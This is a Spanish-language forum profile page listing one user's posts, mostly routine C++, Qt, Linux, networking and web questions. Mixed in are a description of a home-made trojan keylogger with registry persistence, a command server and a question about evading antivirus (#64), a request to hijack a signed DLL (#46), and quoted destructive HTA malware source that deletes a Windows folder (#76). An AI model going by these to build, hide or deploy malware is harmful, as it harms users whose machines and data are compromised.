Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - patilanz

#46
Hacking / Reemplazo de dll con firma digital
24 Mayo 2015, 00:35 AM
Hola quiero crear un programa que se oculte en un dll de un programa.
Lo quiero hacer reemplazando el dll por uno mio pero el programa se entera del cambio.
Probé escribiendo caracteres nulos al final de mi dll para conseguir el mismo tamaño aunque no me esperaba buenos resultados. Supongo que comprueba el hash o la firma digital con sha1 que tiene el dll original.
Alguna idea para suplantar el dll  ;D
Y aunque consiga ejecutar mi dll no estoy seguro de si el programa seguirá funcionando porque las funciones del dll original ya no están. Hay alguna manera de editar el dll ya creado?

Un saludo
#47
Seguridad / Bloquear acceso a variables de js
14 Abril 2015, 22:14 PM
Hola quiero bloquear variables de javascript como navigator.plugins en todas las paginas para por ejemplo evitar fingerprint.
Tengo windows con chrome y ubuntu con firefox.

Es posible ?

Un saludo
#48
Hola tengo estos divs:



Tienen los mismos elementos en cada uno. Hasta aquí todo bien pero luego al cambiar el height (display:none en un div dentro) de uno de los divs (el primero) se descoloca y se queda mas arriba



Yo quiero este resultado:



Con float: left los dos primeros se quedan bien pero el tercero no esta al lado del primero sino mas abajo y tampoco lo puedo usar porque utilizo el contenido de estos divs para el height del padre.
Alguna idea?

Un saludo
#49
Hola tengo el samsung galaxy grand neo duos, rooteado desde 1 año sin problemas pero ahora paso esto:

- Se empezó a reiniciar solo al instalar o Desinstalar cualquier aplicación o simplemente por utilizar lo.
- Lo reinicie de fabrica aunque sigue siendo root
- Se reinicia al instalar o Desinstalar pero solo a veces. Al utilizar lo no hay problema

Alguien me ayuda?

Un saludo
#50
Hola estoy creando una extensión para chrome que tiene que cargar un código como si se hiciese desde la consola de las herramientas de desarrollador F12 pero no hay manera.
Ademas la pagina tiene content-security-policy y no me deja cargar archivos desde otra url que es problema principal. He intentado eliminar esta parte del header pero no lo consigo.

Help pls  :D

Saludos
#51
Hola como podría editar un archivo js que se obtiene de una pagina antes de ser cargado en el servidor. Quiero captar y editar los paquetes HTTP porque si no con extensiones como source-editor https://chrome.google.com/webstore/detail/source-editor/gfijhpfpapngnbgbaohekogcoohopcbn chrome se queja con

Citarbecause it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' https://ajax.googleapis.com".

Que programa podría usar para editar los paquetes antes de que lleguen al navegador ?

Saludos

@No estoy seguro si la pregunta concuerda con desarrollo web
#52
Hola llevo mucho tiempo probando herramientas como net netsh getmac userdump pero no consigo entender como funciona todo. Con quienes me puedo conectar ? Solo local, solo en una red, con todo Internet ?? Estoy en un lió. Me recomendáis algún tuto sobre las conexiones compartidas de windows ICS | NetBIOS ??

Se de redes pero nada de los recursos compartidos en windows.
NetBIOS se usa en otros sistemas operativos ?

Saludos
#53
Hola quiero permitir al acceso de escritura en una carpeta pero sin lectura, que pueda un usuario agregar archivos y carpetas pero no eliminar en los que no tiene permiso. Tengo esto:

Root:
Código (bash) [Seleccionar]
mkdir padre
chmod 703 padre
cd padre
mkdir no_eliminable
chmod 700 no_eliminable


User:
Código (bash) [Seleccionar]
cd padre
ls // error, eso quiero
mkdir carpeta_eliminable
chmod 700 carpeta_eliminable
cd carpeta_eliminable
nano hola
rm -f -d -r no_eliminable // adios carpeta  >:(


Como la protejo ?

Saludos
#54
Hola hasta ahora he programado con c++ solo para windows con su api y en linux solo programas básicos de consola. Alguien sabe de algún tutorial como esto: http://www.ee.surrey.ac.uk/Teaching/Unix/ pero en español para aprender la api de linux estilo sockets, threads, el sistema de archivos etc... ?

Un saludos

#55
Foro Libre / Licencia de iconos | copyright
28 Febrero 2015, 23:06 PM
Hola en paginas como esta http://www.flaticon.com/ o esta http://www.iconarchive.com/ donde ofrecen iconos gratis algunos están unidos a licencias de copyright. Pero hay algunos iconos que son muy simples de hacer y cualquier con algún photoshop podría hacer exactamente lo mismo. Como demuestran que el icono es de "Pepito" ?
Podrías usarlos y nadie de diría nada
#56
GNU/Linux / iptables permitir http y dns
26 Febrero 2015, 13:42 PM
Hola estoy aprendiendo a usar iptables y tengo esto:

Citariptables -P OUTPUT DROP
iptables -P INPUT DROP

iptables -A OUTPUT -j ACCEPT -p udp --dport 53
iptables -A INPUT -j ACCEPT -p udp --sport 53

iptables -A OUTPUT -j ACCEPT -p tcp --dport 80
iptables -A INPUT -j ACCEPT -p tcp -sport  80


Quiero bloquear todo y permitir solo http y dns pero con wireshark solo salen paquetes dns pero sin respuesta

Saludos
#57
Hola necesito ayuda con las selecciones del os usuario y su edición para agregar texto o elementos html. Con la librería randy https://code.google.com/p/rangy/wiki/RangySelection#Introduction se puede hacer y es compatible con todos los navegador pero yo quiero saber como funciona y todas las funciones de los distintos navegadores.
Ejemplo de randy; http://rangy.googlecode.com/svn/trunk/demos/core.html


He buscado pero es un lió y un poco desactualizado. Alguien me recomienda un tuto ?

Un saludo
#58
Programación C/C++ / Imprimir bits de un objeto
18 Febrero 2015, 23:44 PM
Hola quiero crear una función que recibe un void * y un size en bytes para imprimir desde esta posición los bits. Algo parecido a esto pero con cualquier objeto


void printBitsNumber(unsigned value){
const int movement = 8 * sizeof(value) - 1;
const unsigned mask = 1 << movement;

for (int i = 0; i < movement; i++){
cout << (value & mask ? '1' : '0');
value <<= 1;
if ((i + 1) % 8 == 0)
cout << ' ';
}
}

15 = 00000000 00000000 00000000 0000111

Lo estoy intentando pero no me sale, alguna pista?

Saludos
#59
Programación C/C++ / Regex en una dll
17 Febrero 2015, 23:40 PM
Hola estoy haciendo una dll pero no puedo usar regex porque usa plantillas en c++
He buscado un poco por google pero hay solo librerías y yo no quiero usar mas cosas aparte.

Que podría usar ? Es muy difícil crear me funciones regex :D ?

Un saludo
#60
Hola existe alguna pagina o programa que te permite buscar gente por ejemplo eligiendo que sabes español y quieres aprender ingles y buscas alguien que sabe lo contrario para poder hablar y practicar el idioma ?

Algo estilo omegle pero para aprender.

Saludos
#61
Redes / Aumentar senal wifi
11 Febrero 2015, 13:40 PM
Hola tengo una conexión ono que en el pc sobre mesa que se conecta directamente al router llego a 95 mb de descarga y 6 mb de subida. Una conexión perfecta para mi.
Con el portátil unos 40 mb descarga y 5 mb subida en la habitación del router, casi al lado.
Me voy a la otra habitación y me baja hasta menos de 10 mb que no me sirve.

Necesito algún repetidor para aumentar la señal aunque son solo 4 pasos desde 1 sitio a otro...

Help !!

Un saludo
#62
Hola quiero inyectar un código en una pestaña abierta de chrome o otro navegador como si lo hiciese desde Chrome Developer Tools. Chrome tiene una especia de api o tengo que inyectar mi codigo en el proceso ? Alguna pista ?

Saludos
#63
Redes / Mac identicas robo de sesion
4 Febrero 2015, 01:29 AM
Hola viento un tema del foro se me ocurrió esto:

Una red con 1 pc que se ha logueado en una pagina. Se conecta un portátil con la misma MAC y los paquetes le empiezan a llegar a el ,a los dos o incompletos. El portátil sigue la sesión y entra en la pagina ya logueado.

Bueno creo que no se podrá por la llegada de paquetes incompletos pero no estoy seguro.

Saludos
#64
Hola estoy creando una especie de troyano keylogger y algo mas para probar y el antivirus me lo detecto en tiempo de ejecutacion antes de haber lo completado  :-X

Bueno tengo funciones que se llaman algo por el estilo de infect. No se si es algo estúpido pero no se como analizan los ejecutables. Analizan partes para ver si se parecen a otros virus o como ?

Alguien me puede orientar a cerca de como analizan los antivirus los ejecutables ?

Saludos

@Edit: Mi programa se autocopia, autoejecuta al inicio cambiando el registro, crea archivos de configuración con nombres codificados, se conecta con un servidor en modo de http con el puerto 80 para obtener información y recibir los comandos, captura la pantalla y las teclas con hook globales. Los dos últimos no están del todo listos y probé con quitar los para comprobar si es por esto pero no . Creo que es por la función infect.
#65
Hola necesito un hosting gratuito donde poder subir mi programa c++ que va esperar conexiones mediante socket y les va contestar pudiendo guardar archivos. Nada mas.
Si existen servidores que te permites eso me pueden recomendar alguno?

Saludos
#66
Hola estoy intentando capturar combinaciones de teclas con un hook en windows y me pasa esto:

Código (cpp) [Seleccionar]
KBDLLHOOKSTRUCT *data = (KBDLLHOOKSTRUCT*)lparam;
int i = 1 << data->flags;

si pulso Alt Gr i contiene 2 y data->flags 129

Pero luego aquí
Código (cpp) [Seleccionar]
KBDLLHOOKSTRUCT *data = (KBDLLHOOKSTRUCT*)lparam;
int i = 1 << 129;


i contiene 0  :(
data->flags es un DWORD (unsinged long) por esto probe hacer una conversión aunque creo que da igual.

Código (cpp) [Seleccionar]
KBDLLHOOKSTRUCT *data = (KBDLLHOOKSTRUCT*)lparam;
int i = 1 << (DWORD)129;

El i sigue 0.

Porque pasa esto?

Saludos
#67
Hola estoy haciendo un programa en la que me conecto a un servidor ftp y la contraseña esta en texto sin mas. Como protejo la contraseña o si la codifico ?

Saludos
#68
Hola estoy intentando conseguir el local ip de mi red con la que estoy conectado para hacer una petición arp. Lo intento con GetAdaptersInfo o GetAdaptersAddresses  o gethostbyname.
Pero ninguno me sirve. Bueno consigo la ip pero no se la manera de saber si es la ip correcta. Si lo imprimo por la descripción pero dependiendo del pc sera diferente.

Saludos
#69
Hola recién empiezo con ollydbg siguiendo el tutorial de Ricardo Navaja me ha surgido una pregunta. En ollydbg 1 en la ventana de windows esta la opción de crear un message breakpoint por ejemplo a un boton pero en la 2 no  :(

He buscado por internet pero viene poco y te dicen que utilices condicional log y luego con Condition pero nadie te explica como usar las condiciones y encima es bastante mas engorroso. Porque quitaron esta opción? Que alternativa me queda?

Saludos
#70
Hola tengo un portátil probook hp 640g1 con un ubuntu 14.10 y windows 8.1 . La tarjeta de red es Broadcom Corporation BCM43228 802.11a pero no encuentro drivers para ubuntu para poner el modo monitor. En windows si que se puede pero no puedo crear mis paquetes de red personalizados.

Mis preguntas son.

- La tarjeta se puede cambiar dentro del portátil?

- Que cosa hace que una tarjeta de red soporte o no el modo monitor y puede crear paquetes personalizados.

- Me recomiendan comprar otra tarjeta de red para poder hacer esto, cual?

- Que mas características puede y debe tener una tarjeta para poder captar todo el trafico y hacer cualquier cosa relacionada con la conexión, vamos cualquier cosa interesante ?


Saludos
#71
Redes / Biblia del servidor apache 2
4 Enero 2015, 18:52 PM
Hola primero no se si este tema va aqui pero quiero aprender a usar bien apache con sus configuraciones. Me descargue en pdf el libro http://3.bp.blogspot.com/_Did1kKBiK4Y/S7pnX_AnHCI/AAAAAAAAAIU/1PslCrl3yaY/s400/cover.jpg

Pero me parece un poco antiguo 2005. Esta bien leérselo o me recomendáis otra cosa para aprender ? La documentación de su pagina oficial esta bien o hay algo mejor?

Saludos
#72
Hola quiero poner un hook al teclado y he hecho esto:

Código (cpp) [Seleccionar]
#include <Windows.h>
#include <iostream>
#include <vector>

using namespace std;


int main(){
HINSTANCE library = LoadLibrary("dll_hook.dll");
if (library){
cout << "ok";
}

HOOKPROC cellback = (HOOKPROC)GetProcAddress(library, "hookProc");



HHOOK hhook = SetWindowsHookEx(
WH_KEYBOARD_LL,
cellback,
library,
0);
if (hhook == NULL){
int a = GetLastError();
cout << "Error";
}
else{
cout << "Done!";
}

getchar();

return 0;
}


Y la dll:

Código (cpp) [Seleccionar]
#include "hookProc.h"
#include <Windows.h>
#include <iostream>

using namespace std;

extern "C"{
LRESULT  __declspec(dllexport) hookProc(int code, WPARAM wparam, LPARAM lparam){
cout << code;
cout << wparam;
cout << lparam;
if (code < 0){
return CallNextHookEx(0, code, wparam, lparam);
}
else if (code >= 0){
if (wparam == VK_LBUTTON){
cout << "Left button pressed!" << endl;
}

}
return CallNextHookEx(0, code, wparam, lparam);
}
}


Me muestra ok y done pero luego al presionar una tecla la aplicación deja de responder y tengo que cerrar la.
Me pueden ayudar ?

Saludos
#73
Programación C/C++ / Crear dll dinamicos
29 Diciembre 2014, 01:54 AM
Estoy intentando hacer un dll para después poder utilizar su función.

Desde visual studio 2013 creo nuevo proyecto de consola win32 vació. Luego le agrego un archivo hpp y cpp. Compilo. Me sale el dll.

Creo otro proyecto y lo intento cargar con:
Código (cpp) [Seleccionar]
#include <Windows.h>
#include <iostream>

using namespace std;

typedef void(* F)();

#pragma comment(lib,"dll_test1.lib")


int main(){
HMODULE library = LoadLibraryA("dll_test1.dll");
if (library){
cout << "ok";
}
F ptr = (F)GetProcAddress(library, "sumar");


(*ptr)();

getchar();

return 0;
}


Me carga bien la library pero luego me sale error al intentar utilizar la función.
Con Alternate DLL Analyzer vi que en la dll no hay funciones.
Que hago mal?

Saludos

@Edit: Los codigo del dll

dll_test.hpp
Código (cpp) [Seleccionar]
__declspec (dllexport) void sumar();
dll_test.cpp
Código (cpp) [Seleccionar]
#include <iostream>
__declspec(dllexport) void sumar(){
std::cout << "Functiona!";
}
#74
Hola quiero compartir esto:
Ahora mismo no se puede jugar a la play por un ataque DDoS hacia los servidores.

http://www.theverge.com/2014/12/25/7449471/xbox-live-and-playstation-network-are-having-problems-on-christmas-day

También leí que el creador de Mega había regalado cuentas premium a los cibercriminales, llamados "hackers" de por vida: https://twitter.com/KimDotcom/status/548305704776241152/photo/1
Esto me suena muy raro. No veo que tiene que ver mega con sony.

Que opinan?

Saludos
#75
Hola acabo de hacer una clase para organizar mas o menos el header de una peticion HTTP. Como esto:

CitarHTTP/1.1 200 OK\r\n
Date: Mon, 23 May 2005 22:38:34 GMT\r\n
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)\r\n
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT\r\n
ETag: "3f80f-1b6-3e1cb03b"\r\n
Content-Type: text/html; charset=UTF-8\r\n
Content-Length: 131\r\n
Connection: close\r\n
\r\n

HTTP_class.hpp
Código (cpp) [Seleccionar]
#ifndef HTTP_CLASS_HPP
#define HTTP_CLASS_HPP

#include <string>
#include <ctime>
#include <vector>

using namespace std;


//CLASS STATE
#define SETUP_OK 1
#define SETUP_NEED 2
#define INVALID_HEADER 3


//HTTP CODES

//Informational
#define H_Continue 100
#define H_Switching_Protocols 101
#define H_Processing 102

//Success
#define H_OK 200
#define H_Created 201
#define H_Accepted 202
#define H_Non_Authoritative_Information 203
#define H_No_Content 204
#define H_Reset_Content 205
#define H_Partial_Content 206
#define H_Multi_Status 207
#define H_Already_Reported 208
#define H_IM_Used 226

//Redirection
#define H_Multiple_Choices 300
#define H_Moved_Permanently 301
#define H_Found 302
#define H_See_Other 303
#define H_Not_Modified 304
#define H_Use_Proxy 305
#define H_Switch_Proxy 306
#define H_Temporary_Redirect 307
#define H_Permanent_Redirect 308

//Client Error
#define H_Bad_Request 400
#define H_Unauthorized 401
#define H_Payment_Required 402
#define H_Forbidden 403
#define H_Not_Found 404
#define H_Method_Not_Allowed 405
#define H_Not_Acceptable 406
#define H_Proxy_Authentication_Required 407
#define H_Request_Timeout 408
#define H_Conflict 409
#define H_Gone 410
#define H_Length_Required 411
#define H_Precondition_Failed 412
#define H_Request_Entity_Too_Large 413
#define H_Request_URI_Too_Long 414
#define H_Unsupported_Media_Type 415
#define H_Requested_Range_Not_Satisfiable 416
#define H_Expectation_Failed 417
#define H_Im_a_teapot 418
#define H_Authentication_Timeout 419
#define H_Method_Failure 420
#define Enhance_Your_Calm 420
#define H_UnprocessableEntity 422
#define H_Locked 423
#define H_Failed_Dependency 424
#define H_Upgrade_Required 426
#define H_Precondition_Required 428
#define H_Too_Many_Requests 429
#define H_Request_Header_Fields_Too_Large 431
#define H_Login_Timeout 440
#define H_No_Response 444
#define H_Retry_With 449
#define H_Blocked_by_Windows_Parental_Controls 450
#define H_Unavailable_For_Legal_Reasons 451
#define H_Redirect 494
#define H_Request_Header_Too_Large 495
#define H_Cert_Error 496
#define H_No_Cert 497
#define H_HTTP_to_HTTPS 498
#define H_Token_expired_invalid 499
#define H_Client_Closed_Request 499
#define H_Token_required 499



//class ContentType{
//public:
// string type;
// string charset;
//};


class HTTP{
public:
HTTP();
HTTP(string header);
bool setup(string header);
int Code();//HTTP status
const int State();//class status
tm Date();
string Server();
tm Last_Modified();
string ETag();
string Content_Type();
int Content_Lenght();
string Connection();

string Other(string name);
vector<string> Other(int i);

//helpful functions
double HTTPVersion();
int Size();//Size of fields


private:
int state;//Already setup?

int code;
tm date;
string server;
tm last_modified;
string etag;
string content_type;
int content_length;
string header;
string connection;

vector < vector<string> > all; //all fields

//helpful data
double version;

//Config functions
tm getDate(string date);
void defaultConfig();
};


vector<string> split(string full, string part); //helpful function


#endif


HTTP_class.cpp
Código (cpp) [Seleccionar]
#include "http_class.hpp"
#include <regex>

HTTP::HTTP(){
defaultConfig();
}

HTTP::HTTP(string header){
defaultConfig();
setup(header);
}


string HTTP::Other(string name){
for (int i = 0; i < all.size(); i++){
if (all[i][0] == name){
return all[i][1];
}
}
return "";
}
vector<string> HTTP::Other(int i){
if (i < all.size())
return all[i];
else
return vector<string>();
}


bool HTTP::setup(string header){
vector<string> parts = split(header, "\r\n");

//all setup
for (int i = 1; i < parts.size(); i++){
all.push_back(split(parts[i],": " ));
}
all.pop_back();          // remove last 2 \r\n of the end of http protocol
all.pop_back();          //
//end
if (all.size() < 1){ //Nothing founded
state = INVALID_HEADER;
return false;
}

//http setup
string v = parts[0].substr(5, 3);
version = atof(v.c_str());
code = atoi(parts[0].substr(8, 4).c_str());
//end
date = getDate(Other("Date"));
server = Other("Server");
last_modified = getDate(Other("Last-Modified"));
etag = Other("ETag");
content_type = Other("Content-Type");//Mejores en 2.0
content_length = atoi(Other("Content-Length").c_str());
connection = Other("Connection");
state = SETUP_OK;
return true;
}


int HTTP::Code(){
return code;
}

const int HTTP::State(){
return state;
}

tm HTTP::Date(){
//Example of check
if (date.tm_year != 0 && state == SETUP_OK){ // if == 0 no date in header
return date;
}
}
string HTTP::Server(){
return server;
}
tm HTTP::Last_Modified(){
return last_modified;
}
string HTTP::ETag(){
return etag;
}
string HTTP::Content_Type(){
return content_type;
}
int HTTP::Content_Lenght(){
return content_length;
}
string HTTP::Connection(){
return connection;
}


//Helpful functions
double HTTP::HTTPVersion(){
return version;
}
int HTTP::Size(){
return all.size();
}



tm HTTP::getDate(string _date){ //Get date in tm format for example in Date or Last-Modified
tm date = tm();
if (_date.size() > 0){
const static string months[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
smatch match;
if (_date.find("GMT") != -1){ // New format
if (regex_search(_date, match, regex("^\\w{3,9},\\s(\\d{2})[\\s\\-](\\w{3})[\\s\\-](\\d{2,4})\\s(\\d{2}):(\\d{2}):(\\d{2}) GMT$"))){
date.tm_mday = atoi(match[1].str().c_str());
int month;
for (int i = 0; i < sizeof(months); i++){
if (months[i] == match[2].str()){
month = i;
break;
}
}
date.tm_mon = month;
int year = atoi(match[3].str().c_str());
if (year > 1900)
year -= 1900;
date.tm_year = year;
date.tm_hour = atoi(match[4].str().c_str());
date.tm_min = atoi(match[5].str().c_str());
date.tm_sec = atoi(match[6].str().c_str());
}
}
else{ //Old ANSI format
if (regex_search(_date, match, regex("^\\w{3} (\\w{3})  (\\d{1,2}) (\\d{2}):(\\d{2}):(\\d{2}) (\\d{4})$"))){
int month;
for (int i = 0; i < sizeof(months); i++){
if (months[i] == match[1].str()){
month = i;
break;
}
}
date.tm_mday = atoi(match[2].str().c_str());
date.tm_hour = atoi(match[3].str().c_str());
date.tm_min = atoi(match[4].str().c_str());
date.tm_sec = atoi(match[5].str().c_str());
date.tm_year = atoi(match[6].str().c_str());
}
}
}
return date;
}


void HTTP::defaultConfig(){ //Set some values help to don't check state in every function
state = SETUP_NEED;
code = 0;
version = 0;
content_length = 0;

}



//split string in vector

vector<string> split(string full, string part){
vector<string> parts;
int last = 0;
int p;
while ((p = full.find(part, last)) != -1){
parts.push_back(full.substr(last, p - last));
last = p + part.size();
}
parts.push_back(full.substr(last, full.size()));
return parts;
}


Ejemplo conexión http con win sockets
Código (cpp) [Seleccionar]
#include <iostream>
#include <string>
#include <vector>
#include <WinSock2.h>
#include "http_class.hpp"

#pragma comment(lib,"ws2_32.lib")

using namespace std;

#define SIZE 1024

int main(){
WSADATA wsadata;
WSAStartup(MAKEWORD(2, 2), &wsadata);
char buffer[SIZE];



vector<vector<string>>links = { //Random urls
{ "foro.elhacker.net", "/throw 403 error" },
{ "foro.elhacker.net", "/throw_302_error" },
{ "www.google.es", "/" },
{ "foro.elhacker.net", "/ingenieria_inversa-b26.0/" }
};


hostent * host;
in_addr ip;
sockaddr_in data;
string request;

for (int i = 0; i < links.size(); i++){
host = gethostbyname(links[i][0].c_str());
ip.s_addr = *(long * )host->h_addr_list[0];


SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET){
cout << "Invalid socket";
return 1;
}

memset(&data, 0, sizeof(sockaddr_in));
data.sin_addr = ip;
data.sin_family = AF_INET;
data.sin_port = htons(80);

if(connect(sock, (sockaddr*)&data, sizeof(sockaddr_in))){
cout << "Connection with " << inet_ntoa(ip) << " failed.";
return 1;
}


request = "GET " + links[i][1] + " HTTP/1.0\r\n";
request += "Host: " + links[i][0] + "\r\n";
request += "\r\n";

if (send(sock, request.c_str(), request.size(), 0) != request.size()){
cout << "Send error";
return 1;
}

//Accept
char buffer[SIZE];
int lastBytes = SIZE - 1;//bytes recerved
string response;
while (lastBytes > 0){
lastBytes = recv(sock, buffer, sizeof(buffer), 0);
if (lastBytes > 0)
response += string(buffer).substr(0, lastBytes);
}
string header = response.substr(0, response.find("\r\n\r\n") + 4);

HTTP http(header);
//    or
//http.setup(header);
cout << "Host: " << links[i][0] << endl;
cout << "HTTP version: " << http.HTTPVersion() << endl;
if (http.Code() == H_Not_Found){
cout << "Path: " << links[i][1] << " wasn't founded";
}
else if (http.Code() == H_Forbidden){
cout << "Server Forbidden message";
if (http.Other("Location").size() > 0){//Location field
cout << " to " << http.Other("Location");
}
}
else{
cout << "Status code: " << http.Code();
}
cout << "\n\nAll fields: \n";
for (int i = 0; i < http.Size(); i++){
cout << http.Other(i)[0] << ": " << http.Other(i)[1] << endl;
}
cout << endl << endl;

}


fflush(stdin);
getchar();
return 0;
}


Descargar ejemplo: http://pruebasdephp.hol.es/things/HTTP_class.rar
Probado en visual studio 2013



Si me pueden dar ideas de que puedo mejorar o si tienen alguna duda  :D

Saludos
#76
Análisis y Diseño de Malware / Trojan.JS.Cursor
24 Diciembre 2014, 10:33 AM
Hola me descargue un pack con muchos troyanos virus etc.. y ahora los estoy analizando.
Código (html4strict) [Seleccionar]
[code=javascript]<HTML>
<HEAD>

<TITLE>Virus</TITLE>

<script language="JScript">

var fs = new ActiveXObject("Scripting.FileSystemObject");
var a = fs.DeleteFolder("c:\\windows/cursors");

</script>

<HTA:APPLICATION
       ID="oHTA"
       APPLICATIONNAME="ComplexHTA"
       CAPTION="yes"
       ICON="ComplexHTA.ico"
       MAXIMIZEBUTTON="no"
       MINIMIZEBUTTON="no"
       SHOWINTASKBAR="no"
       SINGLEINSTANCE="no"
       SYSMENU="no"
       VERSION="1.0"
       WINDOWSTATE="normal">

<script language="javascript">

var message="Now Hang On Here!";

function click(e) {
if (document.all) {
if (event.button == 2) {
alert(message);
return false;
}
}
if (document.layers) {
if (e.which == 3) {
alert(message);
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
}
document.onmousedown=click;

</script>

</HEAD>

<BODY BGCOLOR="000000" TEXT="FFFFFF" LINK="6BC8F2" VLINK="6BC8F2" ALINK="6BC8F2">

<BR>
<BR>
<BR>

<CENTER>Congratulations!</CENTER>

<P>

<center><BUTTON onclick="self.close()">Click Here To Close

</BUTTON></center>

</HTML>
[/code]

Supongo que sera muy muy antiguo porque:

Código (javascript) [Seleccionar]
var fs = new ActiveXObject("Scripting.FileSystemObject");
var a = fs.DeleteFolder("c:\\windows/cursors");


Borra la carpeta cursors así sin mas y luego se burla de que no puede pulsar el botón para salir  ;D
Que os parece?
#77
Hacking / Codigos fuentes de virus en c++
22 Diciembre 2014, 20:09 PM
Hola donde puedo encontrar el codigo fuente de cualquier tipo de virus,malware, troyano, bootnet etc...  Pero que sea en c/c++ y no por ejemplo en visual basic que si que hay muchos. Si habeis creado vosotros alguno y queréis compartir lo  :D

Saludos
#78
Hola tengo instalado commview 7.0 en mi windows 8.1 64 bits pero recibo el siguiente error al ejecutarlo empezar a capturar y al cabo de poco tiempo aparece:

CitarCannot access c:\ for reading

Por google no encuentro nada. Me podéis ayudar pls

Saludos
#79
Hola tengo lo siguiente:
Código (cpp) [Seleccionar]
   string text = ui->path->text().toUtf8().constData();
   if(PathFileExists(text))

Estoy intentando hacer lo desde qt creator. En visual studio utilizo multibyte y no tengo problemas pero en qt no se como cambiar a multibyte y estoy con utf-8.

El macro L (si se un macro) no esta definido, con reinterpret_cast<LPCWSTR>(text); me salen caracteres chinos. Me podéis explicar con mas detalles los caracteres unicode ansi utf.. y los widechar que estoy muy liado  ;D Se que los wchar_t normalmente son utf-16 en windows y utf-32 en linux pero a su vez si utilizo utf-16 como formato para el archivo igualmente me pide para convertir.

Cualquier ayuda se agradece

Saludos
#80
Redes / Subidas de red en momentos
21 Diciembre 2014, 01:36 AM
Hola tengo un windows 8.1 con router adls y me pasan cosas raras con mi conexión.
Cuando juego de repente se me sube el ping mucho mas de lo normal y en 30 segundos se me arregla. También si veo vídeos o descargo algo. Como si alguien usa mi conexión.

Puede ser que tenga un troyano para ataques ddos o simplemente se una perdida de señal? Antes no me pasaba.
#81
Programación C/C++ / Qt tab save tab eliminado
20 Diciembre 2014, 22:41 PM
Hola estoy acostumbrado a programar c++ desde visual studio en windows pero como en linux no hay visual studio me instale qt creator...

La cosa es que estoy acostumbrado a dar le todo el tiempo a Ctr + s para guardar lo hago hasta en el foro si escribo código y siempre me sale el dialogo de guardar la pagina ;D
El problema es que en qt si por ejemplo hago nueva linea y pulso tab varias veces para ir a delante y luego lo guardo se me van los tab  >:( Sera que no guarda \t tabuladores... y recarga el archivo cada vez que se guarda. Como lo corrijo o si se puede hacer para que guarde los tabuladores.

También si es posible configurarlo para que me ayude mas con los miembros de una clase, si escribo clase-> que me salgan sus miembros que lo hace solo a veces y cargando mucho. Acerca lo mas a visual studio 2013

Saludos
#82
Hola tengo una aplicación que tiene que iniciar se con windows. Funciona perfectamente en windows 8.1 que es el ordenador donde la compilo de forma estática con visual studio 2013. Pero luego si la paso por usb a otros dos portátiles también con windows 8.1 64 bits recibo el error 5 al intentar:

Código (cpp) [Seleccionar]
HKEY key;
int error = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &key);
if (error== ERROR_SUCCESS){
char msg[80];
sprintf_s(msg, "RegOpenKey: %u", error);
MessageBox(0, msg, "Error", MB_ICONERROR);
return 0;
}

En el ordenador de compilar tengo avg 2014 activado y no tengo problemas. En el primer portátil tengo windows defender desactivado y en el segundo activado pero esto no afecta. Por lo tanto no creo que es por el antivirus. La aplicación la ejecuto con permisos de asInvoker (/level='asInvoker') los defaults.

Si lo abro como administrador funciona.

Como lo soluciono ?

Saludos
#83
GNU/Linux / No detecta tarjeta de red probook hp
12 Diciembre 2014, 21:24 PM
Hola me compre un nuevo probook hp 640g1 que venia con windows 7 hp de fabrica. Lo elimine para instalar ubuntu 14.04 pero no me detecta la tarjeta wireless. El cable ethernet funciona pero no puedo detectar redes wifi.

Con iwconfig lo unico que tengo es:

eth1      no wireless extensions.

lo        no wireless extensions.


Me faltan drivers?

Saludos
#84
GNU/Linux / Ctr + Tab no funciona
30 Noviembre 2014, 16:43 PM
Hola soy nuevo en ubuntu antes he usado siempre windows. Este para cambiar las ventanas utilizaba ctr +tab | alt + esc | ctr + alt + supr ...

Ubuntu me los cambia con ctr + tab pero si entro en un juego no funciona. Probé con compiz con escalar pero tampoco solo cambia el efecto en las ventanas normales pero no en los juegos de pantalla grande.

Otra menara? Saludos
#85
GNU/Linux / Ubuntu 14.04 y ruido en el pc (Resuleto)
24 Noviembre 2014, 15:57 PM
Hola tengo windows 8.1 y ubuntu 14.04 instalados en discos diferentes y tengo un problema con ubuntu que al encender lo a cabo de unos 5minutos el ordenador empieza a sonar muy fuerte como si se sobrecargase. Esto no pasa en windows. He estado mirando el monitor de procesos pero ahí no veo nada interesante. Que podría ser?

Saludos
#86
Como puedo minimizar mi programa en el área de notificación ?

Saludos
#87
Hola tengo esto:

Código (cpp) [Seleccionar]
while (Process32Next(handle, &process)){
::process * _process = new ::process();
_process->name = new QLabel(ui.processes_widged_area);
_process->close = new QPushButton(ui.processes_widged_area);
_process->folder = new QPushButton(ui.processes_widged_area);
_process->suspend = new QPushButton(ui.processes_widged_area);

char _name[261];
wcstombs(_name,process.szExeFile,260);
_process->name->setText(_name);
_process->close->setText("Close");
_process->folder->setText("Open dir");
_process->suspend->setText("Suspend");

processes.insert(processes.end(), _process);

ui.gridLayout_4->addWidget(_process->name, processes.size(), 1, 1, 1);
ui.gridLayout_4->addWidget(_process->close,processes.size(),2,1,1);
ui.gridLayout_4->addWidget(_process->folder, processes.size(), 3, 1, 1);
ui.gridLayout_4->addWidget(_process->suspend, processes.size(), 4, 1, 1);
}



processes es std::vector<process *> processes;
Es una funcion que tiene que refrescar los procesos. Para esto necesito borrar los anteriores:

Código (cpp) [Seleccionar]
for (int i = 0; i < processes.size(); i++){
processes[i]->folder->deleteLater();
processes[i]->close->deleteLater();
processes[i]->name->deleteLater();
processes[i]->suspend->deleteLater();
}


Pero es aquí donde falla. Con el típico mensaje de infracción de acceso.

Alguien me puede ayudar ?

Saludos
#88
Hola tengo esto:

Código (cpp) [Seleccionar]
bool p = true;
SystemParametersInfo(SPI_SETMOUSECLICKLOCK, 0, &p, 0);
DWORD speed = 1300;
